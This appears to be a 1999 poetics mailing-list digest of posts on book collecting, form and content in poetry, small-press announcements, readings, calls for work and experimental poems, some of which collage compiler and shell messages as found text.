Just an afterthought, but am I the only one who cares about the smell and feel of the pages when I decide to add a book to my collection? Before I retired as an acquisitions librarian/cataloger in a public library, I had written several letters to Farrar, S & G about their cheap bindings (I didn't have the nerve to tell them they didn't smell that good either!) considering that they published many fine novels. I got answers from various clerks to the effect that they would certainly take my comments into consideration.

If there were an award for the books with the finest texture and smell for the price, Sun and Moon would rank high.

Bob Freedman

----- Original Message -----
From: Maria Damon <[redacted]>
To: <[redacted]>
Sent: Thursday, September 30, 1999 5:53 PM
Subject: Re: an informal survey (which read how etc)

> *myself i skip around*
> *except*
> *one exception*
> *bpNichol Martyrology book 6 books*
> *read straght thru*
> *"couldn't put it down" etc*
> *like a teenager w/ an erotic novel*
> *except*
> *i wasn't fastforwarding looking for the*
> *steamy scenes it was all pretty*
> *steamy to me in terms of*
> *heart/language...*

↑ Index

17. Lowther, John
The Smell of Books
Fri 1 Oct 1999

---

robt freedman
you are not alone

i too stick a nose in
and enjoy the heft

texture etc of cover
pages, spine

and i wd also say that sun & moons books
have a desirability that it their physicality

only enhances
sharpens etc

i can still open certain older books of mine
and smell my way into the contents

scent triggering
memories of things within

↑ Index

18. Lowther, John
~IS~ FORM NEVER MORE THAN AN EXTENSION OF CONTENT?
Fri 1 Oct 1999

{ p o e t i x }

[{ (THIS IS A LENGTHY POST, I FOREWARN YOU, IF THE WHOLE FORM/CONTENT ISSUES SEEMS TO YOU TO BE SETTLED OR IRRELEVANT OR WHATEVER, YOU MIGHT WISH TO DELETE NOW RATHER THAN GOING ANY FURTHER ---- my apologies to digest readers) }]

form

p o e t i c form

"politics of.." (?)

this stuff, i'm good at putting it out of my mind for reasonably long periods ----- it's like philosophy, right ? "that's why i love phil osophy no one wins" [so cage says suzuki said] and as such it's not the solving but the wondering about it ------ i've been told that my interest in this is anachronistic, that younger poets today see no meaningful distinction ----- curious, at least, i find that curious, or maybe i find it untrue, i think that might be more to the point of my feeling as when i talk to poets about things which seem "content-specific" and/or "form-specific" the way the answers come suggests that i'm not asking about the same ~thing~ ------ another poet told me that i was "stuck back there" (meaning.. the 50s? 60s?..?) this was in response to my interest in writers like cage, antin, etc ------ the suggested tonic was a bracing read of bruce andrews' critical work ------ so i read some, that is i read some *again* ------ it didnt really change anything, i found it as eloquent as it had been and ultimately perhaps less convincing

where am i going with this ? (form as ramble, content as...)

i'm not sure ---- but there are a few things that come to mind which might lead somewhere

having read any number of arguments about the political *import* of form i'd like to either confess or assert my skepticism ----- confess, if it turns out that someone is able to show me why i should be convinced (that is, i'm not unwilling to be convinced, i'm just not) and ------ assert, if it should turn out that i remain unconvinced that "form" has anything other than extremely limited political implications now i realize there are many who will immediately want to dispute and or support this notion ----- but if i can, if it matters that i try to, suggest, that before any of us stake ourselves on the question or before we post something ringing here on the list, that whomever wishes to wave whatever flag or just offer their 2 cents try to deal with the semantic questions ----- what you take the two term's ~use~ to be, or what they ~mean~ or however you prefer to approach it (i've nothing against "meaning" so, on my account at least, no one need worry that i'll quibble at that ----- tho i will certainly ask questions if i don't "get" yr meaning)

there is an interview with david antin, from vort ? i cant recall right now, but in it he talks briefly about his consideration of this question and of an experience wherein the more he thought about it the less form meant and the more all the things that had been called ~form~ seemed clearly (to him) to be "content" --- i apologize for not having this handy to quote, but i think that that was the gist, a sort of ah-ha situation wherein repeated tests for "form" kept turning up "content" until it seemed safe to conclude that form was nowhere now i mention this as something rather similar happened to me but on the other end of the see-saw ------ content didn't "disappear" per se, but it didnt seem conceivable without form whereas (i told myself at that time) form did ---- rather form seemed "abstractable" in the sense that one can have an idea of the form of a pyramid without it being a pyramid whose content was bricks or glass or marshmallows or whatever and i read this prescindability of form from content but not content from form as indication of it being, more.. essential ? more foundational ? i dunno (my opinion hasnt stayed with this formulation)

more recently antin writes; About form -- The word almost always from its origins suggests configuration, shape, outline and almost always drags that origin behind it. It even drags that along in Cage's definition Composition as Process, where he defines it as "the morphology of the continuity", which is nothing more than a longwinded way to say shape and include within this notion the sequence of shifts moving from beginning to end. When someone says "sonata form" he/she is providing an outline of the sequence of actions seemingly required by the genre. I find this kind of commentary mostly trivial. My sense of structure is of something more profound -- it is a notion of the organization of function. The two can be seen to overlap in some uses. When one speaks of the shape of an arrow, one is also speaking in part of its structure because the shape plus its materiality are what allow it to perform its action of

penetration (.and perhaps resistance to removal). When you speak of rhyme, you're speaking of one of the structural properties of some kind of verbal work -- a particular form of (usually arbitrary) phonologic repetition --. The alliteration (consonantal rhyme) of Anglo Saxon poetry is similarly a structural feature, combined with the pausal break it has to bridge (Germanic caesura) and with certain notions of formulaic appositional phrasing. Dante's terza rima is similarly structural, it is not formal. That is to say the discourse has to pass through the micro-organization of the rhyme scheme; this is part of its dynamic but it says nothing about the overall shape of the poem. As far as the terza rima is concerned, it could have propelled a very short poem or a very long one. But the principle of interlocked successive phrases has a real significance for that work that can be neutralized by the descriptive or narrative structure, emphasized or muted. Still, rhyme hasnt been an interesting structural principle in a long time, except in pop songs. In neo-formalist verse it mainly plays the role of declaring a kind of propriety -- like wearing a tie and would probably work better if it was more like wearing spats. But more seriously -- if you look at a painting by Barney Newman, a discussion of the form is ridiculous. There is a sea of color broken by a fissure that can be seen as erupting from beneath it like magma rising from an ocean floor or like light breaking through a chromatic cloud. The placement and choice of the fissure matters but it's not a formal mattering, it's a dynamic mattering. In some of the works, it isn't entirely obvious whether these "stripes" emerge from below the field or whether the field lies beneath them and is threatening or promising to engulf them. There is no overall form. There is a tension between the elements that Newman was working with. And of course, the reason that these paintings matter has to do with the cultural history and consequent psychological history of paint and color. I could sketch out a similar though different dynamic for Rothko, or Pollock or De Kooning. These art works are not formally organized. There is a structural dynamic that plays itself out. I could lay out a structural dynamic of a very different sort for pop-artists like Lichtenstein or Warhol. And they both employ the most obvious and banal examples of commercial design (form in its most trivial sense), but the use is ironical, and their structure is not based on issues of painting but on issues of representation and illustration. I could go on, but the question is hardly worth beating to death.

and this i dug in that he's insisting on there being overtones to "form" that aren't useful or meaningful for him and instead talking about these things as "structure" or the "organization of function" ---- that is, i like the distinction, but i've heard plenty of folks ~use~ form in this way, as a dynamic rather than static "shape-like" principle

anyway

i came upon an old issue of boundary 2, a special issue on creeley [spring/fall 78] and in the lengthy interview with william spanos rc talks about his sense of form and content, it goes like this (i've tried as best i can to preserve the look of the text which isn't justified and which looks very much like one of antin's talk poems does on the page save that it uses punctuation);

spanos: ...but i'm uncertain whether or not most people who read yours and olson's poetry really understand it "form is never more than an extension of content." (. . .)

creeley: see the dilemma there as i gather over the years is pretty precisely in the word "content." (. . .) because for many people the word "content" implies and/or states sort of mental furniture (. . .) i really felt however vaguely at that point that it wasn't content it was what was in the actual system that could manifest "itself" by whatever form was possible. I mean the thing that i even then most insistently used as example was the circumstance that happens let's say what happens when you take a glass of water and just dump it on the floor? the fact of water the content inherently of water discovers a form a form specific to its "nature" to put it loosely on the surface it meets with. no ~idea~ of water will change that situation so to speak. and ~that~ was the sense of content i like murder will out i suppose is what i was mostly thinking of the nature of murder as an act will discover itself not because anyone thinks or wants it to be that way but because ~per se~ it ~is~ that way (p.22-23)

and this is interesting to me --- i follow it and think i'm getting it and then i think about it again and it starts to look more and more puzzling to me ---- it seems to suggest no "intent" that the content should find any form in particular but an acceptance that it will find one of necessity and that this will be it's form the splash it's content makes coming into being

but then consider this from "Notebook, January 31 - April 3, 1977";

Form seems to begin with possibility (human), ends with habit (information stabilized). I use threes and fours in poems just as I might use two by fours and right angled 'corners' -- they 'do' something in each case. Stones and bricks, or, more accurately, a rounding surface as against a four-square one. Threes fall forward, fours sit. And can, incidentally, 'stop' anywhere -- whereas threes must come to a 'balance.' (same volume p.78)

~what?~

i mean, well, i think that this is very interesting too right ? but it feels very odd next to the other quote and makes me feel increasingly like i don't have much grip on creeley's understanding of the terms form and content at all --- am i to assume that what he knows about "threes and fours" is due simply to a lot of

experience splashing content out there and finding that it lands in threes and fours ? am i truly to believe that some of his longer poems that are so resolutely in quatrains, have no intent, no impulse to ~quartrainicity~ ?

this isnt meant as criticism of creeley but offered up in hopes that for someone else it will be very clear and that they might enlighten me (us?) about it

i say that

but at the same time i think that form/content is something of a koan (kent johnson suggested this to me a year or more ago) for poets --- good, on account of insolubility, for asking what the fuck one actually does mean by some statement or another

in midst of muddle

out {for now}

)L

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19. David Baratier
Re: Jacket #8
Fri 1 Oct 1999

Thanks Ron...

The first thing I would bring up is a re-iteration of praise for the work James Weil did with Elizabeth, both magazine and press. Most of the author's Weil published on the press were picked up by other publishers when they folded, Eigner, Neidecker, Enslin, Bronk, and so on, but Perchik bounced from house to house, both university and non, only having Dusty Dog and Shearsman (regular publishers of chapbooks) as constant supporters. I became aware of Elizabeth by finally looking up a Perchik book _Which hand holds the brother_ at the Schenectady Library after seeing so many of his pieces in journals & bought _The club fits either hand_ at the now defunct Boulevard Bookstore in Albany NY.

Perchik denies being serial in his work. And yet, there are a few hundred poems from each: Family of Man series, the W series, and another. Each time he finishes writing to a book of photographs the series ends. There are elements of seriality from _Snowcat Poems_ onward. All I know is, as an editor, I am very tired of * as a titling mechanism, after inputting 15 books.

The stacks of prose, which were eventually paired down to _a_ poem, are all archived at Princeton library if there is further interest about the process.

While Si does carpet bomb all the journals out there, he also reads them. I learned a phenomenal amount from him about journals such as Golden Goose,

Manroot, Black Mountain, Yugen, 50's/ 60's, Kayak, all from the late forties to now. Perchik talks of magazines because they are what his main source is, never anthologies. All of Perchik's published books resulted from being in a magazine, then being asked for a book, Pavement Saw is no exception. Perchik's main literary influence, which I think is in the interview, is Vincente Alexandre'. Corman, Olson, and Blackburn and others are contemporaries.

Be well

David Baratier

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20. David Baratier
Pavement Saw 4
Fri 1 Oct 1999

Pavement Saw 4
80 pages, Perfect Bound, Color cover. Holds uneven furniture rightly straight when slid underneath.
ISBN: 1-886350-03-5 $5.00 P/P

Pavement Saw Press
PO Box 6291
Columbus, OH 43206

or SPD
2 Examples below
==========
Featured writer:
Sandra Kohler

#4

If I were a man, I'd write erection sonnets,
Like Will or Berryman, play with my name, my tools.
Instead I must be pregnant:
My severed tubes suspend all nature's rules,
Grow whole. From a crowded room our separate
Clothed bodies levitate, naked, radiant,
To a solitude beneath the nose of no one.
Scandal's breath grows roses we are bedded on;
It is Adonis' garden: you are form
And I am Venus, all that matters
To the seedling future. Possessing me you enter
The garden in the garden. What's invisible
Shall be real: here are words for it.

Also:

Ruth Anderson Barnett, Kurt Brown, Sean Brendan-Brown,
Tom Bridwell, Matthew Cooperman, Richard Deming,
Mark DuCharme, Stephen Ellis, Gary Fincke, Sherry Flick,
Tony Gloeggler, Eric Howard, Adrianne Kalfopoulou,
Nancy Kuhl, Anna Leahy, Gordon Massman, Joshua McKinney,
Fred Muratori, Simon Perchik, Christopher Putnam,
Brian Richards, Don Schofield, Chris Stroffolino, Mark Taska,
Tod Thilleman, Kevin Varrone, Anne Ohman Youngs

TOM BRIDWELL

FROM TEXT TOWARD BUILDING A HOUSE

2. Pulling the Starting Cord

I had forgotten those firm cowgirl asses encased so sweetly in fitted jeans. The Miracle of Work. The slightly spread thighs from much riding. I feel as though I was delaminating. In Colorado I price windows and patio doors. In Utah I pick up the argon-filled thermopanes I had stashed toward this house. Pack a ballast of books (to fill the space tightly) and layer glass and one inch foam, wrap the guns in plastic bags in case of rain. Grab a box of photos to remember the past. February the 11th I pass papers on the land. The house grows in my mind and I could build it from just a footprint. When I leave the girls Samara is crying just barely under control.

We had a wonderful three days and nights. Motel in Utah with a kitchenette and HBO; a lovely drive and hike in Arches. Time with friends. We drive a lot, on these visitations, sharing whatever time we can. Sun on sandstone wall on the river road, 128, along the waters. The way the light strikes. Pepperoni and cheese discussing house sites at the Dewey Bridge. Posing among the red rock. Ordinary things.

A Calvinistic moroseness (like a depressed dog staring at his bowl) without any epistemology or even the vaguest theory, a dialog about dialog, John and I, after everyone has left. It's snowing hard and we're standing at the fire-pit, smoking; a conversation about the elusive percentage, the critical mass, that might be required to represent any actual thing. The salient cream that rises.

Then thinking that there will be at least part of another summer with the girls in the trailer while building the house. Playing at house. No room. Then back to the bonfire, all the while driving across Kansas. John said 'it all comes from the Southwest now', and I can't remember if it was the weather or culture. There are 54 fourteeners in Colorado, always one in your face. I had to leave the west for fear of heights.

Coming back, the Little Wabash has flooded southern Indiana. You can't see the river for the water. The conversation runs to drainage. Blue Darter hawks work the edge of the road levee. A Magritte floatage of farmers. As I remember, everything is gray, the water, the sky, everything. Large areas, in the middle distance, where the sky meets the water, lack any definition. Caffeine and sleep-deprivation are a powerful drug. While everyone else sleeps, I think about the house plans.

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21. David Baratier

Larry's

Fri 1 Oct 1999

I am bringing in a number of folks from out of town, including some list members, there is an open mic after each reading. Here is the next few months:

Readers:

October 4th
Tony Libby

October 11th
Dave Snodgrass is from Cleveland

October 18th
Timothy Russell is an amazing reader. Just in from Japan!

October 25th
Diane Kendig

November 1st
Dead Poets

November 8th
Ron Houchin

November 15th
Pamela Kircher

November 22nd- A big howdy to
luigi-bob drake - editor, burning press--
http://www.burningpress.org/bphome.html

November 29th
Pamela Steed-Hill's first book has great roadkill poems

December 6th
Colin Dearth

Monday's
7 pm
2040 N. High St.
Columbus Ohio

Be well

David Baratier

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22. A H Bramhall
(Methodology) How Bo Diddley Saves Me
Fri 1 Oct 1999

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the end of blank pages, the freedom of outpouring, who needs happiness? I'm electrically connected.

method has always been simple. staring blankly at anything or nothing, I pose the question, worded just so: who do you love? I believe the question is directed towards me, but not necessarily always so. I try to think in my most vapid manner (which I have practiced). soon, a road appears. friends, this is a strange world that I see before me. I forthwith run, dance, tumble along, always with a sense that forward is a direction, and I am going that way. this may not work for all. it may not even be true, but don't let that be a barrier. just follow the implication.

okay, I fooled you all, I was having you on. simplicity works for me. I sit at the writing machine and wait for my turn. when my turn arrives, I think of arctic terns that migrate from one end of this globe to the other, valiantly, dutifully, and for highly mysterious reasons. it's a great image, and the words pour forth.

fooled you again, actually. I'm not about images. I have words, plain words, to deal with, before they deal with me. and so, on an afternoon when I have the freedom, specifically at 3:02, as I look at this watch I was given, I place fingers to keyboard, listening to a musical rendition of a song "Who Do You Love", a song that truly exists, for you possibly as well as for me. sometimes it exists played at breakneck speed, all the better. and so: words, effort, thinking, and lost (loss) and found. and mud, the celebration of earth and water. anyway, thank you for your interest, the world is not always kind.

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23. Alan Sondheim
Brooklyn Museum Rally (fwd)
Fri 1 Oct 1999

==

The rally is over, at least for today. It was great to see a functioning multicultural coalition, ranging from Rev. Docherty to Norman Siegal, and from Susan Sarandon to Jane Alexander. Judy Blume, Dred Scott, and a num- ber of other speakers were incredibly eloquent. I think the crowd was pro- bably about 2000; it was much larger than expected.

Some of the points: Recent Supreme Court decisions have indicated that a government cannot withold funding for _specific_ shows; it can only refuse funding basically as a matter of policy. If Giuliani gets away with this, the city libraries can be next, since they're also supported by city funds and have works which are anti-religious, obscene, etc. within them. Why do we have to fight the same tired battles over and over again, every decade? Meanwhile Giuliani is in California raising money for the Senate race. And this battle is _not_ just local and isn't just about censorship; it's also about the increasing right-wing clampdown on this country.

Where were you? If you are in New York, please get involved with this and other issues - police brutality for example. (I must say, as did the org- anizers, that the 78 Precinct, which is also mine, was terrific.) You can get more information by going to New York Civil Liberties Union website at http://www.nyuclu.org There are gonig to be more protests; there is a vigil at the museum tomorrow (Saturday) night at 8:45-9:00.

Please do what you can. We have a great deal to fear in the next elections - Senator Giuliani, President Bush, and a Republican right-wing Congress. Whatever party you belong to, don't stand for this sort of censorship.

Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

↑ Index

24. Philip Nikolayev
COMPILER ERRORS
Fri 1 Oct 1999

COMPILER ERRORS

For Alan Sondheim

ause compiler errors. Often when you do this the
cause compiler errors. Often when you do this the
compiler will give you a parse error.
compiler will give you a parse error.
Welcome to CS50!

The character '{' is called a left curly brace, or an open curly brace.
The character ':}' is called a right curly brace, or a close curly brace.
The character '[' is called a left square brace, or an open square brace.
cause compiler errors. Often when you do this the
cause compiler errors. Often when you do this the
compiler will give you a parse error.
compiler will give you a parse error.
The character ']' is called a right square brace, or a close square brace.
cause compiler errors. Often when you do this the
ll
c:ompiler will give you a parse error.

```
$(INT_BIN):     $(INT_OBJ)
        $(CC) -o $@ $(CFLAGS) $(INT_OBJ) $(LIBS)
```

You will sometimes forget to add semi-colons
~
~
~
"vi_file1" 24 lines, 892 characters

↑ Index

25. Elizabeth Treadwell

New Michael Palmer Book

Fri 1 Oct 1999

---

passing along some news from Avec Books ---

Avec Books is looking for someone to temporarily host a web page for
>Michael Palmer's _Danish Notebook_, out next week. (The pub. date is Oct.
>8th.) The promotion copy and software Avec uses is for the Mac. Cydney
>Chadwick will overnight a copy of the book so the cover can be scanned. She
>could also try and send a giff or j.peg file of the cover as an attachment.
>She can send the publication information via attachments or e-mail. If
>anyone is willing to help, please backchannel Cydney at:[redacted]

↑ Index

26. miekal and

Heir of Literature Spills from Broken Book

Fri 1 Oct 1999

Misha Sprocket, do.not.hold.these.words.as.dear

Limbs extending outward from. These eyes are your eyes, not mine? Subliminal does not sublimation account, the totality of ambiguous minions, three-pronged intervention in complacency & the next best thing since

Broach desire & concede. How many probabilties open, numerous, random facination in the ragweed forest, a jungle of planatation. ex- but not above append to the end of an emotional document. Metaphors are in collusion with the conspiracy to untitle. Doctor of manifestation appears humble, bold, surrounded in a once that defies a quiet moment when we can meet in between.

"Mine are minor." Restitution based on appropriated meanings that are sly or otherwise witty. Such a gaunt caricature, the rings around the eyes, I wonder why I even got up in the morning when the internet is embodied all night. A simple way to say this is. She fell toward grace, but only as an act of fruition, seven shiny apples in a window. My transparency is vibrant, but not hungry.

Singularity is common even among disagreement. Parataxis is definitely not 2 taxis bound for collision, otherwise I would dispair & ask for a ride. Given the ability of all subtexts to degenerate I am seeking concordances among those Ive never met, as if to touch untouchables.

metamata, [redacted]

The ultimatum pinpoints the absolute molecule of Grace. Stories before, in a coded land only a tinge of spell awoke the peacekeepers. A 1000 Arthurs, & a shovel of pardons, every moment cratered in a suspicious gnosis. Provocation by characters not provided for in the story sketch, aware of their fictive limits, stretched amid awe. The sanction to write declared hereby polyvocal, simultaneous & considered, but as usual, somewhere the text always reduces to the -emes between words. One net commandeered another, you so lonely there in siber s p a c e. Where are the murmur texts in our periphery, singularity populated Her idol cavern.

Roland Barthes, [redacted]

the more ravaging term
then perhaps the subject
concerned with destruction
grasps at every point
but quickly exposes itself
we are all caught up in the truth

the leisure of bygone readings
where we can hear the grain of the throat
whenever I attempt
without ever introducing anything
the very utterance
the other reading skips nothing
psychoanalysis must be traversed
but it is doubtless
violence must be coded
if it were possible to imagine
we have either the course
outside bliss but not necessarily
deplored except
like a bird who understand nothing
only in total atopia

ENTER YOUR STORY:
http://trace.ntu.ac.uk/writers/sondheim/d.htm

↑ Index

27. Summi Kaipa

Interlope & Summi Email and Address Change

Sat 2 Oct 1999

All correspondence for Summi Kaipa & Interlope Magazine:

Please note that this email address is on its last leg this weekend and will soon collapse.

My new email is: [redacted]

Mail will be forwarded for some time, but please don't send anything to the other address if you can help it. Thanks.

Also, snail mail:

PO Box 423058
San Francisco CA 94142
or
144 Albion St
San Francisco CA 94110

↑ Index

28. Catherine Daly
Re: an informal survey (which read how etc)
Sat 2 Oct 1999

---

1. jacket
2. bio material
3. acknowledgements/publications
4. the poem(s) published in journals I a) like, b) hate
5. I love a good index of first lines!
6. any notes, although their presence / content is prejudicial. they are like individual poem intros at readings: boring and unnecessary, "this is a _sestina_. a sestina is...", pretentious, "I mention these things you can't possibly know about...", or essentially bio material.
7. table of contents
8. first poem
9. last poem

(if they're not very long -- if they are, then skip to 9.)

10. random (short) poem
11. poems that have appealing titles
12. sequentially, the short poems
13. sequentially

Never the introduction: I save that for strange times I have when I must read nonfiction. Then I go through my books and read all the intros.

William Matthews once told me, about poem order in books, "Oh, just have a glass of wine and put them together." That said, what seems to be demanded by editors/judges is some sort of very deliberate _narrative_, which doesn't seem to reflect how anyone actually reads a collection of poems. But then, I think this is a reflection of current emphasis on sequences, really obvious and easily read meta narratives, and the like: easy poem packages of like surface style.

Regards,
Catherine Daly
[redacted]

↑ Index

29. Elizabeth Treadwell
Outlet Magazine--call for work
Sat 2 Oct 1999

---

please feel free to pass this post on....

CALL FOR WORK -- OUTLET

------> Outlet (6) Stars
Astronomy, astrology, celebrity, catastrophe, destiny, romance, navigation, wishes, fortune-telling, constellations. The passage of time. Hemispheres, seasons. Prophecy, heaven. Leonardo da Vinci/di Caprio.
Submission postmark period: January 1-February 15, 2000.
Replies by: April 15, 2000.
The issue will appear during Summer, 2000.

(We are changing our publication months from March & October to May & December.)

**

Reading period & other details for
Outlet (7) Heroine
will be announced soon.
Hints:
"Your fist has seized the Goddess by her golden scruff..."
-Charles Baudelaire, "To Theodore de Banville"
"...it all turned out exactly as she predicted."
-Gail Scott, _Heroine_

**

Pls. note:
We do not accept email submissions. When first submitting, please consider a 5 page limit. Please enclose a SASE for response.
Please note that submissions of chapbook manuscripts are by request only.
We look forward to reading your work. Thank you.

Editor:
Elizabeth Treadwell

Associate Editors:
Sarah Anne Cox
Grace Lovelace

Fiction Scout:
Carol Treadwell

Outlet publishes poetry, fiction and criticism, loosely centered around a common theme. Please visit our website to view excerpts from previous issues, which include work by Franklin Bruno, Norma Cole, Brenda Iijima, Lily James, Tan Lin, Pamela Lu, Yedda Morrison, Laura Moriarty, Michelle Murphy, Susan Smith Nash, Stephen Ratcliffe, Camille Roy, Jocelyn Saidenberg, Kathy Lou Schultz, Liz Waldner, and many others. (We are always interested in film as well as book reviews. Please query.)

Sample copies: $5/ea. Subscriptions: $10/yr (2 issues). Please make checks payable to E. Treadwell.

http://users.lanminds.com/dblelucy

Outlet c/o
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
USA

please feel free to pass this post on....

↑ Index

30. Philip Nikolayev
revolving doors in Bromige and Silliman
Sat 2 Oct 1999

Is there any genetic connection between David Bromige's and Ron Silliman's revolving door imagery, in _Against Love_ and _Ketjak_?

Anyone else got revolving doors?

(Myself, I have some.)

Just curious,

Cheers,

Philip Nikolayev <underline>swift brave elioteers

</underline> [redacted] <underline>still whitman behind the ears</ underline>

↑ Index

31. Patrick F. Durgin
Kenning site update
Sat 2 Oct 1999

Checking in to inform 'poetics' folk of the dwindling availability of Kenning's summer '99 issue: ORDER NOW [$5.00, 89 PAGES, WHAT A STEAL]. In addition: the Kenning website now features new work from Jackson Mac Low and Jesse Seldess, as well as an updated links page. The issues page has been updated as well so you can have an impression of forthcoming issues. Subscribers will be interested to note the updates on the introductory page regarding format and the new chapbook series which will comprise each summer issue. Give it a visit. www.avalon.net/~kenning Thanks: Patrick F. Durgin

k e n n i n g
a newsletter of contemporary poetry, poetics, and nonfiction writing
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

↑ Index

32. Lowther, John

Re: ~IS~ FORM (re: ANTIN addenda)

Sat 2 Oct 1999

---

i didnt edit myself terribly well in that long form/content posting

i wrote of antin's long passage; "and this i dug in that he's insisting on there being overtones to "form" that aren't useful or meaningful for him and instead talking about these things as "structure" or the "organization of function" ---- that is, i like the distinction, but i've heard plenty of folks ~use~ form in this way, as a dynamic rather than static "shape-like" principle"

and that's a bit muddled --- the distinction, maybe much the same that olson and creeley were after (?) --- seems to be between "form" as static statement of shape or enumeration of requisites in the way that one cd for a sonnet say that, at least, it needed 14 lines (even this isnt crucial perhaps, but for the sake of this discussion...) ---- antin sees "form" as being primarily bound up with these sorts of considerations and his interest is in ~other~ things (which is what isnt quite clear in my original posting) having to do with the organization of function within the structure of the the art work (be it poetry, painting, whatever)

that was probably clear to most, but in case i bungled it for anyone thru my inexactitude...

↑ Index

33. Alan Sondheim

INDIANA

Sat 2 Oct 1999

-

INDIANA

oh julu i will kill you
would you really?
would you really?
ohway ulujay iway illway illkay youay
oh jennifer this is so lovely killing me
is it really?

is it really?
ohway enniferjay isthay isway osay ovelylay illingkay emay
oh oh julu
ohway ohway ulujay
away away, oh juluay
away away, oh juluay
please you will make me so fun
please you will make me so fun
will you really?
will you really?
oh julu i jennifer will so fun make you
you do make me!
you do make me!
un para o pkttolkx corr yu lat sgqk eua
oh thank you jennifer thank you
thank you lovely!
thank you lovely!
ib nbuhe sio dyhhczyl nbuhe sio
ah ah oh oh oh
bash: ah: command not found
goodbye my very dearest | oo .ooo| | oo o.ooo|
| oo o.ooo| | oo .o | | oo. o | | oooo. o| |
oo .o o| | o . | | oo o.o o| | oooo. o| | o .
| |ooo .oo | | oo .o o| | ooo . o | | oooo. o|
| o . | | oo .o | | oo .o o|| oo . o| | ooo .
o | | oo .o o| | ooo . oo| | ooo .o | | o. o |
goodbye| oo .ooo| | oo o.ooo| | oo o.ooo| | oo .
o | | oo . o | | oooo. o| | oo.o o| | o. o |
farewell my lovely!
farewell my lovely!
please you will make me so fun
please you will make me so fun
will you really?
will you really?

In INDIANA it was recently VOTED that ALL RAILROAD TRAINS and ALL TELEPHONE POLES and SOME BUILDINGS will be PLACED ON THEIR SIDES permanently. Thus the TRAINS have their WHEELS by convention on THEIR RIGHT-HAND-SIDE, against thin RAILS held VERTICALLY into PLACE. Furthermore, SMALL CARRIAGES POSSESSING WHEELS are permit- ted BENEATH THE SIDEWAYS CARS AND ENGINES to enable them to MOVE ABOUT THE LANDSCAPE in SUCH A CONDITION.

THE SAME does NOT hold true for ALL BUILDINGS but SOME BUILDINGS, which, on their SIDE, may have BOTH WINDOWS AND DOORS OPENING INTO THE EARTH BELOW, as well as OTHER WINDOWS AND DOORS OPENING ONTO THE SKY ABOVE, as well as STILL OTHER WINDOWS AND DOORS OPEN ON TWO SIDES for EASY EGRESS AND EXIT, as well as ENTRANCE.

As for the TELEPHONE POLES, ALL OF WHICH are ON THEIR SIDES, there should be PLACED UPON THEM, WARNINGS FOR CHLDREN, AGAINST the TOUCHING of such wires AS THEY NOW CARRY, EASILY LAID UPON THE EARTH.

Outtages MAY OCCUR.

↑ Index

34. Kathy Lou Schultz

Lipstick? Eleven?

Sun 3 Oct 1999

Lipstick? Eleven?
-or-
What the hell is the name of that magazine anyway?

Let me hereby settle the arguments, family feuds, and bets I know you've been placing:
The name of the magazine is Lipstick Eleven.

As Tisa Bryant so astutely pointed out at tonight's Small Press Traffic Soiree in San Francisco, there is a "No. 1" printed on the spine of our first issue. Soon there will be a "No. 2'" and then after that "No. 3" etc. but it will always be Eleven, which means of course that there will one day be a Lipstick Eleven 11, and won't we all cry for joy then? (I know I will).
^^^

35. Kathy Lou Schultz

View from the front: The Small Press Traffic soiree

Sun 3 Oct 1999

Warning: This is an eyewitness, first-person account and therefore inherently unreliable.

I attended the SPT soiree at New College in San Francisco this evening. (It was nearly an all-day affair.) I arrived a few minutes after 6:00 p.m. to assume my shift as door greeter/ticket taker-seller gal. My role was to take people's money and when they asked me questions, to immediately repeat the question in their presence to someone who might actually know the answer to the question.

I was involved in a spirited conversation with giovanni singleton and Peter Neufeld, Nick from SPT, and later Mary Margaret Sloan, and I was soon "shushed": you know, "can you keep it down for god's sake there's an auction going on next door" and apparently you need a lot of quiet for an auction.

I know because I held in my very own hand the tuft from the left side of Samuel Delany's 11-year-old beard (with a personal affidavit signed by Delany himself) which Taylor Brady secured at the SPT auction -- and you don't want someone outbidding you on something like that because you can't hear! I mean, it would be really heartbreaking. (You go Taylor boy.)

Later, Kevin Killian's play "Three On a Match" was staged to the enjoyment of all. I simply can't list here all the amazing performances, but will highlight the aforementioned Sloan's hilarious performance as a thwarted Olympic figure skater come murderer. I think she missed a calling, or maybe she is finding one now. Everyone did a very fine job, and then the local band "Plain" played and these guys are really talented -- all of them also appeared in Kevin's play.

Then I carried off the raffle prizes which loads of people from my office won (while I won nothing!) because Doug Powell, who works at the same company as me, sold loads of tickets at work. Good job! And I'm sure I will get the prizes to those who really won them, uh, right away . . .

Congratulations to everyone who worked hard to plan and execute the soiree, and I hope it brought in loads of cash for SPT.

Hugs & Kisses,
Kathy Lou

^^^

42 Clayton Street San Francisco, CA 94117-1110

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36. Jerrold Shiroma
New @ Duration Press
Sun 3 Oct 1999

New work at Duration Press:

poems by Eleni Sikelianos, Michelle Murphy, Emmanuel Hocquard (translated by Rosmarie Waldrop), & Rosmarie Waldrop

Mace Hill Remap, by Norma Cole @ our out of print book archive

& the introduction of Dérive, our new e-chapbook series with _Retinal Echo_, by Guy Bennett.

http://www.durationpress.com

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37. Robert Freedman
Poetry Textbook/Language Poetry
Sun 3 Oct 1999

Until my retirement I was an acquisitions librarian for a public library, and I was often gently teased for subverting the collection with too many poetry books. Among these books were many "how-to" books for a general audience and some books that were probably designed as texts for high-school and college creative writing courses.

I was pleasantly surprised recently to come across the book, "Poetry Writing : Theme and Variations," by David Starkey, NTC/Contemporary Publishing Group, c2000. Each brief chapter presents models of types of poems, discusses them, and asks the student to try writing that type of poem. Now to what I found unique: Chapter 40, Rearranging Memory, presents three poems, one by Lyn Hejinian and the others by students. Still another chapter, Playful Piracy, includes a poem by Charles Bernstein in which lines by Swinburne are rearranged. John Cage is represented in a chapter on puzzle poems. I don't have the expertise to evaluate the text, but I thought that the book might be worth looking at given its attempt to present alternatives.

The rest of the text is pretty much occupied by "the usual suspects," many of whom are, nevertheless, favorites of mine.

Hope this is of interest to someone.

Bob Freedman

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38. Charles Bernstein
Whitney Performance @ EPC
Sun 3 Oct 1999

Last April, Edwin Torres (with Sean Blacklung), Bruce Andrews (with Sally Silvers), and I gave improvised performances at the Whitney Museum's Phillip Morris branch under the title "Impulsive Behavior". The EPC (thanks to Anya Lewin and Loss Glazier) has now put these up in Real Video.

The "Impulsive Behavior" program is currently the "selected resource" at the bottom of the EPC home page:

http://epc.buffalo.edu

